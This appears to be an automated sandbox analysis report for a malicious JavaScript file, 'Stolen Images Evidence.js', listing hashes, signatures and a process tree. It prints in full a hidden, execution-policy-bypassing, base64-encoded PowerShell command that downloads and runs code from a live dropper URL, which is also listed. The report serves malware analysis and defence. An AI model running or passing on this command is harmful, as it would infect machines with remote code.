d28f963518923d308071a4d3387be175312b8e649f1fc744ff76321b01deced9

General

Target

Stolen Images Evidence.js
Size

23KB
MD5

86c4c4a86388ab87b8166563fc6080b9
SHA1

a22941692d34245363e1ed75a2e55f9e439f3e2d
SHA256

6961814b2c02d34f6eb8da26d59c3e555763f28680ed67bd7c6b30994dba74d3
SHA512

9005d46de018ce0409a2a8f0bd7afe611636c88e5f503b4d0e22ef72dbec7b0240a3f1c12b6711a07dc839d04225df5f3fcee4db8c68edf4eb8a58a7aef71ebc

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://munardis.space/222g100/index.php

Signatures

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

8 3948 powershell.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

2840 3948 WerFault.exe powershell.exe

flow	pid	process
8	3948	powershell.exe

pid	pid_target	process	target process
2840	3948	WerFault.exe	powershell.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

Processes:

powershell.exeWerFault.exe

pid	process
3948	powershell.exe
3948	powershell.exe
3948	powershell.exe
2840	WerFault.exe
2840	WerFault.exe
2840	WerFault.exe
2840	WerFault.exe
2840	WerFault.exe
2840	WerFault.exe
2840	WerFault.exe
2840	WerFault.exe
2840	WerFault.exe
2840	WerFault.exe
2840	WerFault.exe
2840	WerFault.exe
2840	WerFault.exe
2840	WerFault.exe
2840	WerFault.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exeWerFault.exe

description pid process

Token: SeDebugPrivilege 3948 powershell.exe
Token: SeDebugPrivilege 2840 WerFault.exe

description	pid	process
Token: SeDebugPrivilege	3948	powershell.exe
Token: SeDebugPrivilege	2840	WerFault.exe

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

wscript.execmd.exe

description	pid	process	target process
PID 652 wrote to memory of 2360	652	wscript.exe	cmd.exe
PID 652 wrote to memory of 2360	652	wscript.exe	cmd.exe
PID 2360 wrote to memory of 3948	2360	cmd.exe	powershell.exe
PID 2360 wrote to memory of 3948	2360	cmd.exe	powershell.exe

C:\Windows\system32\wscript.exe
wscript.exe "C:\Users\Admin\AppData\Local\Temp\Stolen Images Evidence.js"
1⤵
- Suspicious use of WriteProcessMemory
PID:652

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQB1AG4AYQByAGQAaQBzAC4AcwBwAGEAYwBlAC8AMgAyADIAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=
2⤵
- Suspicious use of WriteProcessMemory
PID:2360

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQB1AG4AYQByAGQAaQBzAC4AcwBwAGEAYwBlAC8AMgAyADIAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=
3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3948

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 3948 -s 2296
4⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2840

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/2360-114-0x0000000000000000-mapping.dmp

Download
memory/3948-115-0x0000000000000000-mapping.dmp

Download
memory/3948-121-0x000002791BB70000-0x000002791BB71000-memory.dmp

Filesize
4KB

Download
memory/3948-124-0x0000027919B60000-0x0000027919B62000-memory.dmp

Filesize
8KB

Download
memory/3948-125-0x0000027919B63000-0x0000027919B65000-memory.dmp

Filesize
8KB

Download
memory/3948-130-0x000002791BD20000-0x000002791BD21000-memory.dmp

Filesize
4KB

Download
memory/3948-135-0x0000027919B66000-0x0000027919B68000-memory.dmp

Filesize
8KB

Download

Analysis

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